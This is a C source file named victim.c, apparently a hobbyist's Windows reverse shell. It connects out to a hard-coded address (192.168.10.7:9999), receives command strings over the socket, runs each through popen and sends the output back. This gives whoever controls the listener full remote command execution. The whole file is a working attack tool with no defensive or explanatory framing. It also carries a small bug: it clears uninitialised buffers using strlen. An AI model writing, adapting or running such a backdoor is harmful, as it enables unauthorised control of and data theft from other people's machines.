victim/victim.c

#define WIN32_LEAN_AND_MEAN

#include <stdlib.h>
#include <stdio.h>

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>

// constants
#define ADDRESS "192.168.10.7"
#define PORT "9999"
#define RECV_BUFFER_SIZE 1024
#define SEND_BUFFER_SIZE 8192

int __cdecl main(int argc, char **argv) {
    WSADATA wsa_data;
    SOCKET sock = INVALID_SOCKET;
    struct addrinfo *result = NULL, *ptr = NULL, hints;

    char buffer[RECV_BUFFER_SIZE];
    int status;

    // initialize winsock
    status = WSAStartup(MAKEWORD(2, 2), &wsa_data);

    if (status != 0) {
        printf("WSAStartup failed with error: %d\n", status);
        return status;
    }

    // what does the zeromemory thing do
    ZeroMemory(&hints, sizeof(hints));

    // set hints and ai family and socktype and protocol
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // resolve the server address and port
    status = getaddrinfo(ADDRESS, PORT, &hints, &result);

    if (status != 0) {
        printf("getaddrinfo failed with error: %d\n", status);
        WSACleanup(); // cleanup winsock i guess
        return status;
    }

    // attempt to connect to an address until it succeeds
    for (ptr = result; ptr != NULL; ptr = ptr -> ai_next) {
        // create a socket
        sock = socket(ptr -> ai_family, ptr -> ai_socktype, ptr -> ai_protocol);

        if (sock == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 1;
        }

        // connect to the server
        status = connect(sock, ptr -> ai_addr, (int)ptr -> ai_addrlen);

        if (status == SOCKET_ERROR) {
            printf("connect failed with error: %d\n", WSAGetLastError());
            closesocket(sock);
            sock = INVALID_SOCKET;

            continue;
        }

        break; // we did it
    }

    freeaddrinfo(result); // free the address info

    if (sock == INVALID_SOCKET) { // if we didn't do it
        printf("Unable to connect to server!\n");
        WSACleanup();
        return 1;
    }

    FILE *stream;
    char output[SEND_BUFFER_SIZE];

    // wait for commands
    do {
        // clear the buffer and output
        memset(buffer, 0, strlen(buffer));
        memset(output, 0, strlen(output));

        status = recv(sock, buffer, RECV_BUFFER_SIZE, 0);

        if (status <= 0) {
            printf("recv failed with error: %d\n", WSAGetLastError());
            break; // connection got closed or error
        }

        // execute command and get output
        stream = popen(buffer, "r");
        fread(output, SEND_BUFFER_SIZE, 1, stream);

        pclose(stream);

        // send output
        status = send(sock, output, (int)strlen(output), 0);

        if (status == SOCKET_ERROR) {
            printf("send failed with error: %d\n", WSAGetLastError());
            break; // error when sending output
        }
    } while (status > 0);

    // clean up everything
    closesocket(sock);
    WSACleanup();

    return 0;
}